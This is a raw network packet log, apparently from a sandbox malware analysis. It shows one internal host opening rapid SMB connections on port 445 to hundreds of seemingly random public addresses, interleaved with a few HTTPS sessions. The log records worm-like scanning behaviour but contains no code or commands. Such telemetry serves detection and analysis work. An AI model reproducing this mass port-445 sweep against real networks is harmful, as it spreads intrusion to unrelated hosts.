Jul 20, 2022 19:30:55.758128881 CEST	50423	445	192.168.2.7	25.86.61.214
Jul 20, 2022 19:30:55.760641098 CEST	50426	445	192.168.2.7	128.208.149.101
Jul 20, 2022 19:30:55.760667086 CEST	50424	445	192.168.2.7	122.149.177.50
Jul 20, 2022 19:30:55.760798931 CEST	50425	445	192.168.2.7	191.30.101.64
Jul 20, 2022 19:30:55.760869026 CEST	50428	445	192.168.2.7	66.80.3.243
Jul 20, 2022 19:30:55.760932922 CEST	50429	445	192.168.2.7	175.253.179.80
Jul 20, 2022 19:30:55.760993958 CEST	50430	445	192.168.2.7	106.177.23.130
Jul 20, 2022 19:30:55.761049032 CEST	50431	445	192.168.2.7	68.14.220.24
Jul 20, 2022 19:30:55.761084080 CEST	50432	445	192.168.2.7	2.19.88.168
Jul 20, 2022 19:30:55.761164904 CEST	50433	445	192.168.2.7	100.182.38.1
Jul 20, 2022 19:30:55.761224031 CEST	50435	445	192.168.2.7	115.159.142.3
Jul 20, 2022 19:30:55.761236906 CEST	50434	445	192.168.2.7	27.61.55.213
Jul 20, 2022 19:30:55.785438061 CEST	50436	445	192.168.2.7	52.186.3.222
Jul 20, 2022 19:30:55.957969904 CEST	50437	445	192.168.2.7	109.11.52.220
Jul 20, 2022 19:30:56.191639900 CEST	50438	445	192.168.2.7	207.177.72.235
Jul 20, 2022 19:30:56.384416103 CEST	50439	445	192.168.2.7	41.101.125.118
Jul 20, 2022 19:30:56.426932096 CEST	50440	445	192.168.2.7	145.125.239.18
Jul 20, 2022 19:30:56.447451115 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.447511911 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.447604895 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.448405027 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.448431015 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.541498899 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.541599989 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.542237997 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.542263031 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.551306009 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.551342964 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.677004099 CEST	50442	445	192.168.2.7	158.49.22.51
Jul 20, 2022 19:30:56.683788061 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.683814049 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.683893919 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.683927059 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.684006929 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.684859991 CEST	50441	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:56.684899092 CEST	443	50441	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:56.771858931 CEST	50443	445	192.168.2.7	195.207.153.191
Jul 20, 2022 19:30:56.832449913 CEST	50444	445	192.168.2.7	213.142.151.9
Jul 20, 2022 19:30:56.887669086 CEST	50445	445	192.168.2.7	121.254.224.58
Jul 20, 2022 19:30:56.889244080 CEST	50446	445	192.168.2.7	133.98.5.111
Jul 20, 2022 19:30:56.889399052 CEST	50447	445	192.168.2.7	116.174.147.136
Jul 20, 2022 19:30:56.889437914 CEST	50448	445	192.168.2.7	147.94.59.165
Jul 20, 2022 19:30:56.889494896 CEST	50449	445	192.168.2.7	3.95.114.173
Jul 20, 2022 19:30:56.889597893 CEST	50450	445	192.168.2.7	170.166.150.85
Jul 20, 2022 19:30:56.889626980 CEST	50451	445	192.168.2.7	74.146.75.244
Jul 20, 2022 19:30:56.889749050 CEST	50452	445	192.168.2.7	23.130.74.225
Jul 20, 2022 19:30:56.889755964 CEST	50453	445	192.168.2.7	192.10.1.101
Jul 20, 2022 19:30:56.889868021 CEST	50455	445	192.168.2.7	216.54.178.31
Jul 20, 2022 19:30:56.889904976 CEST	50454	445	192.168.2.7	40.55.96.108
Jul 20, 2022 19:30:56.890007973 CEST	50456	445	192.168.2.7	5.161.176.187
Jul 20, 2022 19:30:56.890095949 CEST	50457	445	192.168.2.7	130.54.46.240
Jul 20, 2022 19:30:56.890163898 CEST	50458	445	192.168.2.7	146.144.62.205
Jul 20, 2022 19:30:56.914555073 CEST	50459	445	192.168.2.7	171.81.254.8
Jul 20, 2022 19:30:57.084661007 CEST	50460	445	192.168.2.7	82.128.173.192
Jul 20, 2022 19:30:57.335144997 CEST	50461	445	192.168.2.7	71.10.119.157
Jul 20, 2022 19:30:57.612183094 CEST	50462	445	192.168.2.7	3.119.254.107
Jul 20, 2022 19:30:57.612930059 CEST	50463	445	192.168.2.7	61.116.113.211
Jul 20, 2022 19:30:58.163458109 CEST	50464	445	192.168.2.7	213.142.151.10
Jul 20, 2022 19:30:58.189559937 CEST	50465	445	192.168.2.7	199.112.102.164
Jul 20, 2022 19:30:58.200406075 CEST	50466	445	192.168.2.7	116.174.188.201
Jul 20, 2022 19:30:58.200527906 CEST	50467	445	192.168.2.7	121.178.124.195
Jul 20, 2022 19:30:58.200637102 CEST	50468	445	192.168.2.7	205.94.20.80
Jul 20, 2022 19:30:58.200737953 CEST	50469	445	192.168.2.7	58.215.204.158
Jul 20, 2022 19:30:58.200931072 CEST	50471	445	192.168.2.7	6.66.159.40
Jul 20, 2022 19:30:58.201018095 CEST	50472	445	192.168.2.7	177.87.33.181
Jul 20, 2022 19:30:58.201112032 CEST	50473	445	192.168.2.7	73.104.54.215
Jul 20, 2022 19:30:58.201195955 CEST	50474	445	192.168.2.7	75.250.80.150
Jul 20, 2022 19:30:58.201294899 CEST	50475	445	192.168.2.7	94.249.196.226
Jul 20, 2022 19:30:58.201390028 CEST	50476	445	192.168.2.7	154.31.227.60
Jul 20, 2022 19:30:58.201483011 CEST	50477	445	192.168.2.7	149.125.144.246
Jul 20, 2022 19:30:58.201572895 CEST	50478	445	192.168.2.7	217.40.198.239
Jul 20, 2022 19:30:58.201664925 CEST	50479	445	192.168.2.7	139.39.142.117
Jul 20, 2022 19:30:58.201760054 CEST	50480	445	192.168.2.7	216.243.187.27
Jul 20, 2022 19:30:58.202193975 CEST	50470	445	192.168.2.7	155.134.116.139
Jul 20, 2022 19:30:58.203140974 CEST	50481	445	192.168.2.7	42.76.153.42
Jul 20, 2022 19:30:58.271174908 CEST	50482	445	192.168.2.7	124.62.81.12
Jul 20, 2022 19:30:58.492041111 CEST	50483	445	192.168.2.7	209.229.21.46
Jul 20, 2022 19:30:58.535577059 CEST	50484	445	192.168.2.7	119.101.0.28
Jul 20, 2022 19:30:58.723546982 CEST	50485	445	192.168.2.7	92.205.12.235
Jul 20, 2022 19:30:58.745486021 CEST	50486	445	192.168.2.7	40.160.63.168
Jul 20, 2022 19:31:00.758033991 CEST	50487	445	192.168.2.7	213.142.151.11
Jul 20, 2022 19:31:00.770345926 CEST	50488	445	192.168.2.7	8.137.207.42
Jul 20, 2022 19:31:00.801506996 CEST	50489	445	192.168.2.7	99.45.218.172
Jul 20, 2022 19:31:00.802063942 CEST	50490	445	192.168.2.7	150.205.71.236
Jul 20, 2022 19:31:00.802587032 CEST	50491	445	192.168.2.7	190.176.7.64
Jul 20, 2022 19:31:00.803102970 CEST	50492	445	192.168.2.7	62.234.54.65
Jul 20, 2022 19:31:00.803649902 CEST	50493	445	192.168.2.7	205.251.62.77
Jul 20, 2022 19:31:00.804191113 CEST	50494	445	192.168.2.7	199.54.56.155
Jul 20, 2022 19:31:00.804712057 CEST	50495	445	192.168.2.7	177.3.162.222
Jul 20, 2022 19:31:00.805233002 CEST	50496	445	192.168.2.7	208.46.183.245
Jul 20, 2022 19:31:00.805736065 CEST	50497	445	192.168.2.7	64.155.148.70
Jul 20, 2022 19:31:00.806261063 CEST	50498	445	192.168.2.7	97.70.14.233
Jul 20, 2022 19:31:00.806798935 CEST	50499	445	192.168.2.7	14.62.62.82
Jul 20, 2022 19:31:00.807305098 CEST	50500	445	192.168.2.7	76.77.172.155
Jul 20, 2022 19:31:00.807815075 CEST	50501	445	192.168.2.7	83.77.157.73
Jul 20, 2022 19:31:00.808336973 CEST	50502	445	192.168.2.7	99.244.144.2
Jul 20, 2022 19:31:00.808857918 CEST	50503	445	192.168.2.7	163.135.252.86
Jul 20, 2022 19:31:00.809357882 CEST	50504	445	192.168.2.7	143.230.141.50
Jul 20, 2022 19:31:00.809865952 CEST	50505	445	192.168.2.7	19.176.51.80
Jul 20, 2022 19:31:00.810376883 CEST	50506	445	192.168.2.7	122.108.137.3
Jul 20, 2022 19:31:00.811144114 CEST	50507	445	192.168.2.7	131.210.110.133
Jul 20, 2022 19:31:00.811655998 CEST	50508	445	192.168.2.7	192.128.45.157
Jul 20, 2022 19:31:00.812227964 CEST	50509	445	192.168.2.7	52.92.57.254
Jul 20, 2022 19:31:00.812747955 CEST	50510	445	192.168.2.7	57.129.27.159
Jul 20, 2022 19:31:00.911602020 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:00.911657095 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:00.911777020 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:00.912501097 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:00.912523985 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:01.009387016 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:01.009576082 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.168112993 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.168133020 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.168467045 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.169455051 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.169502974 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.169512033 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.169645071 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.216491938 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.221358061 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.221803904 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.221872091 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.257337093 CEST	50511	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:02.257361889 CEST	443	50511	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:02.258423090 CEST	50512	445	192.168.2.7	213.142.151.12
Jul 20, 2022 19:31:02.273691893 CEST	50513	445	192.168.2.7	46.115.133.209
Jul 20, 2022 19:31:02.274218082 CEST	50514	445	192.168.2.7	215.158.192.20
Jul 20, 2022 19:31:02.274914980 CEST	50515	445	192.168.2.7	8.172.150.237
Jul 20, 2022 19:31:02.275438070 CEST	50516	445	192.168.2.7	141.107.180.66
Jul 20, 2022 19:31:02.275963068 CEST	50517	445	192.168.2.7	223.251.232.149
Jul 20, 2022 19:31:02.276470900 CEST	50518	445	192.168.2.7	33.149.252.151
Jul 20, 2022 19:31:02.276973009 CEST	50519	445	192.168.2.7	214.52.48.223
Jul 20, 2022 19:31:02.277463913 CEST	50520	445	192.168.2.7	41.157.163.229
Jul 20, 2022 19:31:02.277945042 CEST	50521	445	192.168.2.7	47.33.119.170
Jul 20, 2022 19:31:02.278430939 CEST	50522	445	192.168.2.7	126.208.79.89
Jul 20, 2022 19:31:02.278933048 CEST	50523	445	192.168.2.7	82.39.88.73
Jul 20, 2022 19:31:02.279416084 CEST	50524	445	192.168.2.7	131.201.116.232
Jul 20, 2022 19:31:02.279917002 CEST	50525	445	192.168.2.7	5.165.214.176
Jul 20, 2022 19:31:02.280420065 CEST	50526	445	192.168.2.7	138.135.8.20
Jul 20, 2022 19:31:02.280926943 CEST	50527	445	192.168.2.7	129.139.29.75
Jul 20, 2022 19:31:02.281407118 CEST	50528	445	192.168.2.7	38.41.104.116
Jul 20, 2022 19:31:02.281904936 CEST	50529	445	192.168.2.7	124.85.73.104
Jul 20, 2022 19:31:02.282385111 CEST	50530	445	192.168.2.7	42.72.108.128
Jul 20, 2022 19:31:02.282877922 CEST	50531	445	192.168.2.7	59.84.152.238
Jul 20, 2022 19:31:02.283591032 CEST	50532	445	192.168.2.7	94.135.197.12
Jul 20, 2022 19:31:02.284090042 CEST	50533	445	192.168.2.7	8.119.218.125
Jul 20, 2022 19:31:02.284622908 CEST	50534	445	192.168.2.7	167.60.155.203
Jul 20, 2022 19:31:02.290613890 CEST	50535	445	192.168.2.7	142.175.217.149
Jul 20, 2022 19:31:02.523132086 CEST	445	50534	167.60.155.203	192.168.2.7
Jul 20, 2022 19:31:02.535412073 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.535446882 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.535526991 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.536328077 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.536338091 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.572173119 CEST	445	50522	126.208.79.89	192.168.2.7
Jul 20, 2022 19:31:02.635202885 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.635308981 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.637690067 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.637700081 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.638026953 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.644313097 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.644373894 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.644381046 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.644664049 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.678808928 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.678895950 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.678961992 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.679197073 CEST	50536	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:31:02.679212093 CEST	443	50536	20.199.120.151	192.168.2.7
Jul 20, 2022 19:31:02.778522968 CEST	50537	445	192.168.2.7	6.138.30.94
Jul 20, 2022 19:31:03.191481113 CEST	50534	445	192.168.2.7	167.60.155.203
Jul 20, 2022 19:31:03.191510916 CEST	50522	445	192.168.2.7	126.208.79.89
Jul 20, 2022 19:31:03.334355116 CEST	50538	445	192.168.2.7	213.142.151.13
Jul 20, 2022 19:31:03.403904915 CEST	50539	445	192.168.2.7	172.69.129.199
Jul 20, 2022 19:31:03.403948069 CEST	50540	445	192.168.2.7	83.171.95.248
Jul 20, 2022 19:31:03.403990030 CEST	50541	445	192.168.2.7	14.225.249.180
Jul 20, 2022 19:31:03.404139042 CEST	50542	445	192.168.2.7	26.189.54.79
Jul 20, 2022 19:31:03.404145002 CEST	50543	445	192.168.2.7	181.149.117.66
Jul 20, 2022 19:31:03.404247046 CEST	50545	445	192.168.2.7	179.12.214.195
Jul 20, 2022 19:31:03.404340029 CEST	50546	445	192.168.2.7	96.172.243.210
Jul 20, 2022 19:31:03.404443026 CEST	50547	445	192.168.2.7	157.21.215.47
Jul 20, 2022 19:31:03.404531002 CEST	50544	445	192.168.2.7	23.139.178.103
Jul 20, 2022 19:31:03.404534101 CEST	50548	445	192.168.2.7	124.141.111.48
Jul 20, 2022 19:31:03.404588938 CEST	50549	445	192.168.2.7	149.228.61.107
Jul 20, 2022 19:31:03.404630899 CEST	50550	445	192.168.2.7	105.151.214.101
Jul 20, 2022 19:31:03.404700041 CEST	50551	445	192.168.2.7	21.32.93.204
Jul 20, 2022 19:31:03.404824972 CEST	50552	445	192.168.2.7	17.64.130.163
Jul 20, 2022 19:31:03.404829979 CEST	50553	445	192.168.2.7	42.213.134.225
Jul 20, 2022 19:31:03.404841900 CEST	50554	445	192.168.2.7	214.250.125.25
Jul 20, 2022 19:31:03.404948950 CEST	50555	445	192.168.2.7	73.20.212.78
Jul 20, 2022 19:31:03.404957056 CEST	50556	445	192.168.2.7	215.207.110.136
Jul 20, 2022 19:31:03.405054092 CEST	50557	445	192.168.2.7	196.164.123.193
Jul 20, 2022 19:31:03.405071974 CEST	50558	445	192.168.2.7	176.137.136.83
Jul 20, 2022 19:31:03.405160904 CEST	50559	445	192.168.2.7	153.253.2.153
Jul 20, 2022 19:31:03.405217886 CEST	50560	445	192.168.2.7	14.252.143.39
Jul 20, 2022 19:31:03.411488056 CEST	50561	445	192.168.2.7	104.117.84.183
Jul 20, 2022 19:31:03.430576086 CEST	445	50534	167.60.155.203	192.168.2.7
Jul 20, 2022 19:31:03.482769966 CEST	445	50522	126.208.79.89	192.168.2.7
Jul 20, 2022 19:31:03.895347118 CEST	50562	445	192.168.2.7	174.192.218.254
Jul 20, 2022 19:31:04.413991928 CEST	50563	445	192.168.2.7	213.142.151.14
Jul 20, 2022 19:31:04.520804882 CEST	50564	445	192.168.2.7	208.215.128.233
Jul 20, 2022 19:31:04.521486044 CEST	50565	445	192.168.2.7	101.203.157.15
Jul 20, 2022 19:31:04.522332907 CEST	50566	445	192.168.2.7	17.148.208.19
Jul 20, 2022 19:31:04.523011923 CEST	50567	445	192.168.2.7	90.28.246.166
Jul 20, 2022 19:31:04.526154041 CEST	50568	445	192.168.2.7	63.69.74.166
Jul 20, 2022 19:31:04.526833057 CEST	50569	445	192.168.2.7	200.155.153.62
Jul 20, 2022 19:31:04.527484894 CEST	50570	445	192.168.2.7	169.6.191.126
Jul 20, 2022 19:31:04.528150082 CEST	50571	445	192.168.2.7	186.59.14.229
Jul 20, 2022 19:31:04.528853893 CEST	50572	445	192.168.2.7	100.100.187.80
Jul 20, 2022 19:31:04.529500961 CEST	50573	445	192.168.2.7	41.64.110.198
Jul 20, 2022 19:31:04.530198097 CEST	50574	445	192.168.2.7	187.197.4.131
Jul 20, 2022 19:31:04.567816973 CEST	50575	445	192.168.2.7	90.48.122.168
Jul 20, 2022 19:31:04.620630026 CEST	50576	445	192.168.2.7	205.226.200.119
Jul 20, 2022 19:31:04.620727062 CEST	50577	445	192.168.2.7	58.9.0.173
Jul 20, 2022 19:31:04.620827913 CEST	50578	445	192.168.2.7	113.162.254.166
Jul 20, 2022 19:31:04.620918036 CEST	50579	445	192.168.2.7	16.44.186.190
Jul 20, 2022 19:31:04.620999098 CEST	50580	445	192.168.2.7	131.175.215.250
Jul 20, 2022 19:31:04.621082067 CEST	50581	445	192.168.2.7	192.171.33.96
Jul 20, 2022 19:31:04.621157885 CEST	50582	445	192.168.2.7	168.99.139.188
Jul 20, 2022 19:31:04.621249914 CEST	50583	445	192.168.2.7	192.24.179.189
Jul 20, 2022 19:31:04.621330023 CEST	50584	445	192.168.2.7	30.91.153.21
Jul 20, 2022 19:31:04.621402979 CEST	50585	445	192.168.2.7	112.226.75.207
Jul 20, 2022 19:31:04.622345924 CEST	50586	445	192.168.2.7	138.37.154.119
Jul 20, 2022 19:31:04.816195011 CEST	50587	445	192.168.2.7	196.152.205.26
Jul 20, 2022 19:31:05.071346998 CEST	50588	445	192.168.2.7	8.127.201.61
Jul 20, 2022 19:31:05.469825029 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.469872952 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.469974995 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.470827103 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.470879078 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.470989943 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.472398043 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.472434044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.472505093 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.479984045 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.480011940 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.485707998 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.485742092 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.485951900 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.485986948 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.490103960 CEST	50592	445	192.168.2.7	213.142.151.15
Jul 20, 2022 19:31:05.554065943 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.554151058 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.556822062 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.556937933 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.560080051 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.560211897 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.649221897 CEST	50593	445	192.168.2.7	44.20.9.23
Jul 20, 2022 19:31:05.649427891 CEST	50594	445	192.168.2.7	215.32.58.156
Jul 20, 2022 19:31:05.649463892 CEST	50595	445	192.168.2.7	44.192.184.187
Jul 20, 2022 19:31:05.649661064 CEST	50596	445	192.168.2.7	34.197.213.167
Jul 20, 2022 19:31:05.649760962 CEST	50597	445	192.168.2.7	153.21.245.55
Jul 20, 2022 19:31:05.649833918 CEST	50598	445	192.168.2.7	53.20.200.80
Jul 20, 2022 19:31:05.649935007 CEST	50599	445	192.168.2.7	84.193.36.231
Jul 20, 2022 19:31:05.649965048 CEST	50600	445	192.168.2.7	120.176.193.130
Jul 20, 2022 19:31:05.662944078 CEST	50602	445	192.168.2.7	94.135.55.253
Jul 20, 2022 19:31:05.663309097 CEST	50601	445	192.168.2.7	132.225.3.215
Jul 20, 2022 19:31:05.663650990 CEST	50603	445	192.168.2.7	9.196.191.181
Jul 20, 2022 19:31:05.693129063 CEST	50604	445	192.168.2.7	51.78.37.36
Jul 20, 2022 19:31:05.756376028 CEST	50606	445	192.168.2.7	29.217.168.118
Jul 20, 2022 19:31:05.756664038 CEST	50605	445	192.168.2.7	148.250.197.4
Jul 20, 2022 19:31:05.757098913 CEST	50607	445	192.168.2.7	128.169.115.118
Jul 20, 2022 19:31:05.759211063 CEST	50608	445	192.168.2.7	122.224.73.137
Jul 20, 2022 19:31:05.772804976 CEST	50609	445	192.168.2.7	202.140.198.103
Jul 20, 2022 19:31:05.773525953 CEST	50610	445	192.168.2.7	79.176.205.177
Jul 20, 2022 19:31:05.774190903 CEST	50611	445	192.168.2.7	167.30.35.182
Jul 20, 2022 19:31:05.774871111 CEST	50612	445	192.168.2.7	85.98.122.189
Jul 20, 2022 19:31:05.775516033 CEST	50613	445	192.168.2.7	220.135.202.102
Jul 20, 2022 19:31:05.776638985 CEST	50614	445	192.168.2.7	153.27.155.177
Jul 20, 2022 19:31:05.777128935 CEST	50615	445	192.168.2.7	18.226.9.91
Jul 20, 2022 19:31:05.926970005 CEST	50616	445	192.168.2.7	45.52.221.205
Jul 20, 2022 19:31:05.985363960 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.985398054 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:05.987131119 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.990952015 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:05.990971088 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.032032967 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.032181978 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.087888002 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.087938070 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.088035107 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.130635023 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.130656958 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.172142982 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.172241926 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.193267107 CEST	50619	445	192.168.2.7	42.150.13.194
Jul 20, 2022 19:31:06.565514088 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.565548897 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.565834999 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.565851927 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.565900087 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.566584110 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.566611052 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.566987991 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.567080021 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.567646027 CEST	50620	445	192.168.2.7	213.142.151.16
Jul 20, 2022 19:31:06.587305069 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.587332010 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.587351084 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.587531090 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.587564945 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.587640047 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.589118958 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.589183092 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.589225054 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.589247942 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.589278936 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.589306116 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.589745045 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.589962959 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.591566086 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.591588020 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.591665983 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.591687918 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.591742039 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.592125893 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.601406097 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.601422071 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.601809025 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.601881027 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.601958036 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.602176905 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.602200031 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.602432013 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.602479935 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.602675915 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.607227087 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.607254028 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.607321978 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.607358932 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.607387066 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.607419014 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.607589960 CEST	443	50590	80.67.82.211	192.168.2.7
